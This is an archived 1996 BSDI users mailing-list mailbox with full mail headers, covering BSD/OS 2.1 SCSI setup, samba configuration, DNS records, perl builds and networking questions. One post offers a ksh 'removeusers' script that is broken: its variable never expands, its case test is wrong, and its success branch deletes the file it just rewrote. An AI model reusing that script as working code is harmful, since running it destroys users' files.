-0600 (CST) On Tue, 19 Nov 1996, Bill Nestlerode wrote: > >We are running BSDI 2.1 and are trying to install an Adaptec AHA-2940AU > >SCSI controller. We are unable to get BSDI to recognize it. I can not find > >in the KERNEL where we define this adapter, yet the lizard book seems to > Try interrupting the boot by pressing a key. At the 'Boot:' prompt enter the > command '-dev aic0 flags=0x1'. At the following 'Boot:' prompt press 'enter'. > This will force the kernel to use the aic driver. (See man 4 aic) > Bill, Thank you! You are a genius! This worked perfectly. A note to Stephen who asked if this has to be done every time. No. In /etc place the above command in the file boot.default. Thanks to all who responded to this. Jerry +-----------------------------------------+ | Jerry Callahan - jerry@iconnect.net | | I Connection, Inc. | | Lake County/Waukegan IL's connection to | | the Internet! | | 847/662-0877 (Voice) 847/662-0325 (FAX) | +-----------------------------------------+ From VM Wed Nov 20 22:27:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["401" "Wed" "20" "November" "1996" "12:06:43" "-0500" "Vivek Khera" "khera@kci.kcilink.com" nil "16" "Re: samba + WfWG3.11 " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA02768 for ; Wed, 20 Nov 1996 12:03:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA16814 for bsdi-users-outgoing; Wed, 20 Nov 1996 12:07:11 -0500 (EST) Message-Id: <199611201706.MAA23481@kci.kciLink.com> In-reply-to: Your message of "Wed, 20 Nov 1996 08:51:39 EST." Precedence: bulk From: Vivek Khera Sender: owner-bsdi-users@lists.gateway.com To: Bill Becker cc: bsdi-users@BSDI.COM Subject: Re: samba + WfWG3.11 Date: Wed, 20 Nov 1996 12:06:43 -0500 >>>>> "BB" == Bill Becker writes: BB> It comes with 2.1. BB> Reading the documentation is necessary, but you often end up with more BB> questions instead of more answers. Probably it would help if you posted a BB> simple-sample config... You mean like the one that comes with BSD/OS 2.1? See /etc/samba_samples/simple/smb.conf for a good starting point. v. From VM Wed Nov 20 22:27:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["546" "Wed" "20" "November" "1996" "03:10:43" "-0700" "Edwin C. Philips" "edwin@tcs.tcsourceone.com" nil "19" "Re: Running on a Dual Pentium system" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA02769 for ; Wed, 20 Nov 1996 12:03:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA16801 for bsdi-users-outgoing; Wed, 20 Nov 1996 12:05:38 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Edwin C. Philips" Sender: owner-bsdi-users@lists.gateway.com To: "Alan B. Clegg" cc: bsdi-users@BSDI.COM Subject: Re: Running on a Dual Pentium system Date: Wed, 20 Nov 1996 03:10:43 -0700 (MST) On Tue, 19 Nov 1996, Alan B. Clegg wrote: > I've got a client that is preparing to move from SCO to BSDi (yay!). One > of their systems is a dual Pentium, and I don't know how BSDi (2.1) is > going to handle that. Will I need to disable (via Setup or pulling the > chip) the second processor, or will it just be ignored? I asked BSDI that very question when we purchased it. Their tech said it will ignore the second processor (Though they are supposedly working on dual processor support). Edwin C. Philips edwin@tcsourceone.com From VM Wed Nov 20 22:27:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["433" "Wed" "20" "November" "1996" "16:13:33" "+0100" "Ray Davis" "rdavis@masschaos.de.convex.com" nil "11" "Re: Running on a Dual Pentium system" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA02774 for ; Wed, 20 Nov 1996 12:03:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA16782 for bsdi-users-outgoing; Wed, 20 Nov 1996 12:03:41 -0500 (EST) Message-Id: <9611201613.ZM16049@masschaos.de.convex.com> In-Reply-To: "Alan B. Clegg" "Running on a Dual Pentium system" (Nov 19, 23:07) References: X-Mailer: Z-Mail (3.2.1 10oct95) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Ray Davis" Sender: owner-bsdi-users@lists.gateway.com To: "Alan B. Clegg" , bsdi-users@BSDI.COM Subject: Re: Running on a Dual Pentium system Date: Wed, 20 Nov 1996 16:13:33 +0100 > I've got a client that is preparing to move from SCO to BSDi (yay!). One > of their systems is a dual Pentium, and I don't know how BSDi (2.1) is > going to handle that. Will I need to disable (via Setup or pulling the > chip) the second processor, or will it just be ignored? If the machine works anything like my A.I.R. Dual Pentium, the second CPU is simply ignored. No special setup and no need to pull it. Cheers, Ray From VM Wed Nov 20 22:27:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1298" "Wed" "20" "November" "1996" "08:58:50" "-0800" "Jon Drukman" "jsd@cyborganic.com" nil "33" "perl/gdbm" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA02782 for ; Wed, 20 Nov 1996 12:07:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA16780 for bsdi-users-outgoing; Wed, 20 Nov 1996 12:03:33 -0500 (EST) X-Sender: jsd@ramona Message-Id: In-Reply-To: <199611200710.CAA27269@news.interactive.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Jon Drukman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: perl/gdbm Date: Wed, 20 Nov 1996 08:58:50 -0800 Chris Mauritz wrote: >Why would you want the gnu dbm stuff rather than the regular dbm or >ndbm stuff? because lots of programs use it and you might want to write a perl script to interact with their db files? because the files are smaller? geez, i dunno. it must be good for something! > If you must, you can always grab the gdbm sources from >prep.ai.mit.edu in /pub/gnu and build them prior to building perl. >It should all build "out of the box". but it doesn't, that's my point! bsdi comes with gdbm already supplied, but if you download the perl5.003 kit and just blindly run Configure and make, you will get a perl executable that dumps core when it attempts to use the gdbm library. i did a little research and it turns out that the answer is to tell perl NOT to use its own built-in malloc routine. so, you can run Configure and accept all the defaults except for that one. i sent mail to the perl developers group informing them of this and hopefully they will fix it so that the next release of perl DOES build right "out of the box" on bsdi 2.1. ------------------------------------------------------------------------- Jon Drukman jsd@cyborganic.com ------------------------------------------------------------------------- From VM Wed Nov 20 22:27:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["993" "Wed" "20" "November" "1996" "14:30:44" "+0000" "digbyt@dircon.co.uk" "digbyt@dircon.co.uk" nil "28" "Re: Networked HP LaserJet 5m" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA02787 for ; Wed, 20 Nov 1996 12:08:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA16748 for bsdi-users-outgoing; Wed, 20 Nov 1996 11:57:26 -0500 (EST) Message-Id: <199611201430.AA05684@dircon.co.uk> In-Reply-To: from "Mike Pelletier" at Nov 20, 96 08:49:27 am X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: digbyt@dircon.co.uk Sender: owner-bsdi-users@lists.gateway.com To: mikep@comshare.com (Mike Pelletier) Cc: bsdi-users@BSDI.COM Subject: Re: Networked HP LaserJet 5m Date: Wed, 20 Nov 1996 14:30:44 +0000 (GMT) > >On the lLaserJet 4's we have at our company, there was a card in the back >of the manual to order additional technical documentation. Not sure about >the 5m/mp, but you may want to check into this to see if you can get the >kind of documentation you'd need to write a JetDirect driver. I used the >PCL Tech Ref with great success to write a TIFF to PCL converter, so >hopefully the same thing couled be done... > > -Mike Pelletier. > > > Thanks for the note Mike. I certainly didn't get such a note. It is exactly the sort of thing I was looking for, so I am sure I would have noticed it. All documentation supplied was oriented either to PC, MAC or physical maintenance. It could be that offers for such optional documentation is only included with domestic (shipped in the US) models, or then again HP may have dropped the idea from 5M/MP models. Anyone else have any experience? I will be in the US next month, so might try chasing HP to see if anything more is available. DigbyT From VM Wed Nov 20 22:27:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1695" "Wed" "20" "November" "1996" "09:10:27" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "36" "Re: ruptime" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA03331 for ; Wed, 20 Nov 1996 12:20:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA16883 for bsdi-users-outgoing; Wed, 20 Nov 1996 12:15:41 -0500 (EST) Message-Id: <199611201710.JAA06567@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: carrera@idirect.com Cc: bsdi-users@BSDI.COM Subject: Re: ruptime Date: Wed, 20 Nov 1996 09:10:27 -0800 (PST) > > Hmm.. so ruptime will only pick out the addresses on the local network? > Like if my machine IP is 201.105.94.85 it will scan everything in the > 201.105.94 class? or how does that work (If they have rwhod running that > is right?)? Uhmm.. The only problem is, that I have about 3 or 4 > different classes on the network at work.. and some very important > systems on each class, so I am curious as to wether or not you can > manually set it to search for rwhod packets on other IP Network. > Its not really an issue of addresses, its a router/gateway broadcast issue. Rwhod and ruptime don't do searches, they just send out info on their machine, and receive such information from other broadcast or multicast packets that they pick up. Routers generally don't forward broadcasts from one segment to another (if they did they would be bridges not routers) so rwho information doesn't pass through routers unless they have been specifically configured to do so. This typically isn't done (think about what would happen to the internet if EVERYBODY's rwhod packets went everywhere on the network). However, rwhod can now be configured to use multicast packets, so you CAN have such packets forwarded by routers (assuming that they support multicast). I'd suggest that you plan to eventually use multicast for rwhod and see if that does the job. See the rwhod man page for details. However, make sure everything is working on a single segment using broadcast first, then switch to multicast. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Wed Nov 20 22:27:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["503" "Wed" "20" "November" "1996" "11:25:32" "-0600" "Brian Young" "byoung@oru.edu" nil "16" "embedded url passwords" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA03337 for ; Wed, 20 Nov 1996 12:27:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA16898 for bsdi-users-outgoing; Wed, 20 Nov 1996 12:25:46 -0500 (EST) Message-Id: <199611201725.LAA26101@lib.oru.edu> X-Sender: byoung@oru.edu X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Brian Young Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Cc: jand2967@stu.oru.edu, gill@oru.edu Subject: embedded url passwords Date: Wed, 20 Nov 1996 11:25:32 -0600 (CST) ftp://username:password@ftp.whatever.com/path/to/file I know that the above works for ftp sites, but I can't get it to work for http. Is there a method to get into a password protected web pass by embedding the password in the url? http://username:password@www.whatever.com/path/to/file ????????? byoung@oru.edu The path of least resistance is Brian Young what makes both rivers and men Internet Systems Administrator crooked. Oral Roberts University -Thomas Jefferson From VM Wed Nov 20 22:27:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["814" "Wed" "20" "November" "1996" "20:57:12" "+0900" "Joe Kelly" "joe@gaia.gol.com" nil "24" "Apache 1.1.1 cgi strangeness" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA04682 for ; Wed, 20 Nov 1996 13:11:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA17095 for bsdi-users-outgoing; Wed, 20 Nov 1996 13:08:33 -0500 (EST) Message-Id: Precedence: bulk From: Joe Kelly Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Cc: joe@gaia.gol.com Subject: Apache 1.1.1 cgi strangeness Date: Wed, 20 Nov 1996 20:57:12 +0900 (JST) Hi All, Sorry about these multiple postings. We're seeing cgi die periodically on our web server. httpd is still running and you can still access html, its only cgi that fails to run. There are no error messages in the log files and once you kill -HUP httpd all returns to normal. We're using apache 1.1.1 and bsdi 2.1. Has anyone seen this before and if so what were the causes/fixes. Any tips or hints would be great. Thanks & Best Regards...Joe Kelly. ______________________________________________________________________ Global OnLine Japan. Dial-Up, Leased-Line, ISDN, Web Services & More. URL: , Tel: +81-3-5341-8000, Fax: +81-3-5341-8001 ______________________________________________________________________ "Everything depends. Nothing is always. Everything is sometimes." From VM Wed Nov 20 22:27:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["466" "Wed" "20" "November" "1996" "09:16:24" "-0500" "Theodore Hope" "bsdi@chanchan.pnic.pnud.org.pe" nil "13" "Re: 100Mb Ethernet Woes." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA04700 for ; Wed, 20 Nov 1996 13:11:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA17103 for bsdi-users-outgoing; Wed, 20 Nov 1996 13:11:34 -0500 (EST) Message-Id: <199611201416.JAA28427@ChanChan.pnic.pnud.org.pe> In-Reply-To: <3.0.1.32.19961119201704.00683dc4@popgw.firstdata.com> from "Kent Ketell" at Nov 19, 96 08:17:07 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Theodore Hope Sender: owner-bsdi-users@lists.gateway.com To: kent_ketell@firstdata.com (Kent Ketell) Cc: bsdi-users@BSDI.COM Subject: Re: 100Mb Ethernet Woes. Date: Wed, 20 Nov 1996 09:16:24 -0500 (EST) Kent Ketell wrote: > I use "-link0 link1" to be sure I get 10Mbit and "link0 -link1 link2" > to be sure I get 100Mbit. Don't laugh. Using just the link0 as a switch > did not work all of the time. You will know when it switches because you > will get a blue bar with the text in it. By the way, what "link" arguments (or the full ifconfig line) is anyone out there using to configure the 3Com 3C595-TX (PCI, 10/100) card for 100 Mbps operation? Thanks, -T.H. From VM Wed Nov 20 22:27:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1540" "Wed" "20" "November" "1996" "10:04:18" "-0800" "Devon Lazarus" "devonl@digitalthink.com" nil "51" "Re: An easy way to remove a line from a file." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA04704 for ; Wed, 20 Nov 1996 13:11:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA17111 for bsdi-users-outgoing; Wed, 20 Nov 1996 13:12:15 -0500 (EST) Message-ID: <32934822.284797A9@digitalthink.com> Organization: DigitalThink X-Mailer: Mozilla 3.01 (X11; I; BSD/OS 2.0 i386) MIME-Version: 1.0 References: <199611200122.UAA06279@infomine.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Devon Lazarus Sender: owner-bsdi-users@lists.gateway.com To: mazz CC: bsdi-users@BSDI.COM Subject: Re: An easy way to remove a line from a file. Date: Wed, 20 Nov 1996 10:04:18 -0800 mazz wrote: > > Guys & Gals, > > I'm looking for an easy way (hopefully a little c-shell command) that can be used to remove a line from a file. I keep a list of user names in a few different files. When I remove a user from my file setup I want to remove them from 2-3 different files. There's got to be an easy command or simple shell script that I can pass an email address to and it'll remove those users from all three files. you'll need to write a script. i never write scripts in c-chell for security (and educational :)) reasons but here's one in ksh: ----- #!/bin/ksh ######################################## # removeusers v1.0 ######################################## TARGET=$1 IFS=: FILES="file1:file2:file3" for FILE in $FILES do echo "checking $FILE..." sed '/$TARGET/d' $FILE > $FILE$$ cmp -s $FILE $FILE$$ case "*?" in 0) echo "nothing changed" rm $FILE$$;; 1) echo change to $FILE was successful!" cp $FILE$$ $FILE rm $FILE;; esac done ----- you can then invoke the script from the command line with the target of the line you want removed. % removeusers johndoe i might suggest picking up a good book on korn shell scripting. UNIX Shell Programming by Kachan and Wood is a good one. i don't want to start a flame war but i really like ksh scripting over csh scripting. -d -- |----------------------------------------| | Devon Lazarus Technology Group | | DigitalThink | | www.digitalthink.com coming December 1 | |----------------------------------------| From VM Wed Nov 20 22:27:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2248" "Wed" "20" "November" "1996" "09:08:06" "-0500" "Cat Okita" "cat@uunet.ca" nil "83" "Re: samba + WfWG3.11" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA05257 for ; Wed, 20 Nov 1996 13:33:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA17188 for bsdi-users-outgoing; Wed, 20 Nov 1996 13:29:20 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: Bill Becker cc: Bill Webb , bsdi-users@BSDI.COM, steve@prd.co.uk Subject: Re: samba + WfWG3.11 Date: Wed, 20 Nov 1996 09:08:06 -0500 On Wed, 20 Nov 1996, Bill Becker wrote: > Reading the documentation is necessary, but you often end up with more > questions instead of more answers. Probably it would help if you posted a > simple-sample config... The following is given as a very basic example in the man page for smb.conf [foo] path = /home/bar writable = true [printer] path = /usr/spool/public read only = true printable = true public = true You can create more complex smb.conf file according to the parameters in that man page (it's much like following a receipe), and end up with something like this, which is still relatively simple. ; Configuration file for smbd. ; ============================================================================ ; For the format of this file and comprehensive descriptions of all the ; configuration option, please refer to the man page for smb.conf(5). [global] printing = bsd printcap name = /etc/printcap load printers = yes print command = echo %T %M Printing %s to %p for %U >>/tmp/print.log;/bin/j etprint -P%p -U%U -C%M %s; rm %s guest account = nobody printer = lp ; This next option sets a separate log file for each client. Remove ; it if you want a combined log file. log file = /var/log/samba/log.%m ; You will need a world readable lock directory and "share modes=yes" ; if you want to support the file sharing modes for multiple users ; of the same files lock directory = /tmp/samba/locks share modes = yes [homes] comment = Home Directories path = /u/%u browseable = yes read only = no create mode = 0750 [printers] comment = All Printers browseable = yes printable = yes public = yes path = /tmp writable = no create mode = 0755 lpq command = /usr/ucb/lpq -P%p lprm command = /usr/ucb/lprm -P%p %j [projects] comment = other work area path = /projects read only = no public = no [stuff] comment = work area path = /projects/stuff read only = no public = no valid users = @stuff Hopefully this will give you a start on samba - it's very straightforward. Cat Okita System Administrator, UUNET Canada From VM Wed Nov 20 22:27:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["462" "Wed" "20" "November" "1996" "07:56:26" "-0700" "Jim Hribnak" "hribnak@nucleus.com" nil "17" "named and high CPU usage solved!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA05266 for ; Wed, 20 Nov 1996 13:35:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA17168 for bsdi-users-outgoing; Wed, 20 Nov 1996 13:25:18 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jim Hribnak Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: named and high CPU usage solved! Date: Wed, 20 Nov 1996 07:56:26 -0700 (MST) Even with 32 megs of ram in my 2.1 system the newest BIND would nearly halt my system (I think due to high SWAPPING or something) when the named got to about 10 meg in size... We upgraded the machine to a P166 with 128 megs of ram and I have had named upto about 15 meg in size and the CPU did not overload and go through the roof.. seems I was swapping more than I realized.. Thanks to those who helped and sent me responses inregards to this... Jim From VM Wed Nov 20 22:27:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["490" "Wed" "20" "November" "1996" "12:19:03" "-0500" "Brian Backer" "bbacker@blink.net" nil "13" "fsck" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA06081 for ; Wed, 20 Nov 1996 14:12:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA16918 for bsdi-users-outgoing; Wed, 20 Nov 1996 12:27:25 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@bsdi.com Subject: fsck Date: Wed, 20 Nov 1996 12:19:03 -0500 (EST) Ever since I let telnet users on my system I always get unreferenced files during a fsck. On top of that I thought that fssck was supposed to fix them if you ran it a few times. I have read the man pages several times and I guess I am missing the switch that I want. Can anyone tell me what the correct and most efficient way to clear the fs flaws is?.. Also, is there a way to make fsck intereactive where you can actually tell fsck weather to clear or not? thanks abunch bjb From VM Wed Nov 20 22:27:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2236" "Wed" "20" "November" "1996" "05:15:41" "-0700" "Edwin C. Philips" "edwin@tcs.tcsourceone.com" nil "64" "Re: setting a machine to represent the domain" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA06358 for ; Wed, 20 Nov 1996 14:17:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA17409 for bsdi-users-outgoing; Wed, 20 Nov 1996 14:10:46 -0500 (EST) In-Reply-To: <199611200250.VAA22232@user2.mnsinc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Edwin C. Philips" Sender: owner-bsdi-users@lists.gateway.com To: Stephen Frost cc: bsdi-users@BSDI.COM Subject: Re: setting a machine to represent the domain Date: Wed, 20 Nov 1996 05:15:41 -0700 (MST) Okay, I looked at the /etc/namedb/domain.db and /etc/sendmail.cw (and .cf) files and they all have messages to the effect of leave these alone, the config_dns will do the work for you. I got myself in trouble for modifying /etc/passwd by hand, so before I go muck things up, is it safe to edit these in vi? Edwin C. Philips edwin@tcsourceone.com On Tue, 19 Nov 1996, Stephen Frost wrote: > > > > > > What is the procedure for setting a specific host to represent the domain > > so telneting to domain.com > > or mailing to person@domain.com > > > > will work, instead of using host.domain.com and person@host.domain.com > > > > I am assuming it is just a config_dns entry, but I'm not sure how to > > enter it. > > > > Thanks > > > > Edwin C. Philips > > edwin@tcsourceone.com > > > > > Set up your database file (most likely in /etc/namedb/) > w/ a 'IN A ' right after the SOA record so it would look something > like this: > > > @ IN SOA ns1.template.com. nic.template.com. ( > 199404225 10800 3600 604800 86400 ) > IN NS ns3.template.com. > IN NS ns4.template.com. > IN A xx.xx.xx.xx > > localhost IN A 127.0.0.1 > > host IN A xx.xx.xx.xx > > mail IN CNAME mail.template.com. > template.com. IN MX 10 mailhost.template.com. > > See the 'IN A xx.xx.xx.xx' record right after the 'IN NS' statements? > That's what you need to make that domain do what you're asking in the way of > telnetting. To set up sendmail to receive stuff for that domain you need to > modify your /etc/sendmail.cw file (if you have one) and just put in the file > something like this: > template.com > If you don't have a sendmail.cw file you should most likely edit your sendmail.cf > file and on the line that starts w/ 'Cw' and probably has 'localhost' on there > somewhere just add 'template.com' on to the end of that line seperated by a space > from the rest of the line. You still need to make sure your MX records are > correct, but they probably are, otherwise look at the MX record above (last line > of the example, has the 'IN MX' on the line). > > Stephen > From VM Wed Nov 20 22:27:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["693" "Wed" "20" "November" "1996" "09:46:28" "-0500" "Thom Henderson" "thom@esva.net" nil "15" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA06374 for ; Wed, 20 Nov 1996 14:21:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA17443 for bsdi-users-outgoing; Wed, 20 Nov 1996 14:20:41 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news1.mnsinc.com!news.esva.net!server.esva.net!thom Newsgroups: info.bsdi.users Organization: The Eastern Shore of Virginia Network Lines: 13 Message-ID: References: NNTP-Posting-Host: server.esva.net Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In-Reply-To: X-MDMail-Server: MDaemon v2.0 rR b1 16 Precedence: bulk From: Thom Henderson Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Dual Homing w/BSDI or 25xx? Date: Wed, 20 Nov 1996 09:46:28 -0500 On 18 Nov 1996, Ross Wheeler wrote: > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > host of other things, currently at 78 days uptime (interrupted for a > hardware upgrade), before that up for 67 days (interrupted for a > relocation) and prior to that, up for 130 days (interrupted by a UPS > failure).... It hasn't spontaneously rebooted (ever) and the times it > has required a re-boot have been due to external factors, not the OS. You see? There's the problem right there. A truly robust operating system should not be vulnerable to external influences like a UPS failure. From VM Wed Nov 20 22:27:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["955" "Wed" "20" "November" "1996" "08:33:53" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "19" "Re: UTP connector wiring" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA06649 for ; Wed, 20 Nov 1996 14:25:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA17438 for bsdi-users-outgoing; Wed, 20 Nov 1996 14:20:28 -0500 (EST) In-Reply-To: <3.0.1.32.19961119214122.006ae4c8@popgw.firstdata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: bsdi-users@BSDI.COM Subject: Re: UTP connector wiring Date: Wed, 20 Nov 1996 08:33:53 -0500 (EST) > >What's the wiring in that F-F connector? Connectors from the telephone > >world almost always have an internal crossover, which is wrong for almost > >any network application (it's not the same as a 10BaseT crossover, in > >particular). You need a straight-through F-F... > > Straight through is not a good idea. It works, but it won't work if > the length gets anywhere close to maximum. It would act much like an > antenna, which is probably not what you want on a data network. "Straight through" refers to the pinout, not to whether the internal wiring is twisted-pair or individual wires. In any case, since the wiring in a typical F-F is only a couple of centimeters long, it is not going to cause serious trouble for any 10BaseT network (it could be a more serious issue at 100Mbps). Henry Spencer henry@zoo.toronto.edu From VM Wed Nov 20 22:27:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["358" "Wed" "20" "November" "1996" "12:57:53" "-0400" "JEFFREY ANDREW CAMPBELL" "jeffreyc@ug.cs.dal.ca" nil "13" "SCO Emulation" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA06665 for ; Wed, 20 Nov 1996 14:31:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA17474 for bsdi-users-outgoing; Wed, 20 Nov 1996 14:26:49 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: JEFFREY ANDREW CAMPBELL Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: SCO Emulation Date: Wed, 20 Nov 1996 12:57:53 -0400 Has anyone out there had any experience (or preferably extensive experience) using a BSD/OS box to support legacy SCO apps under the SCO emulation support? -- Jeffrey A. Campbell : "The irony of the telecommunications Internet Services Manager : industry is that change Halifax Cable : is constant." jac@mail.hfxcable.com : (902) 453-2800 x156 : From VM Wed Nov 20 22:27:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["683" "Wed" "20" "November" "1996" "14:11:56" "-0500" "Mike Frisch" "frisch@hcl.com" nil "17" "ssh on BSDI 2.1?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with 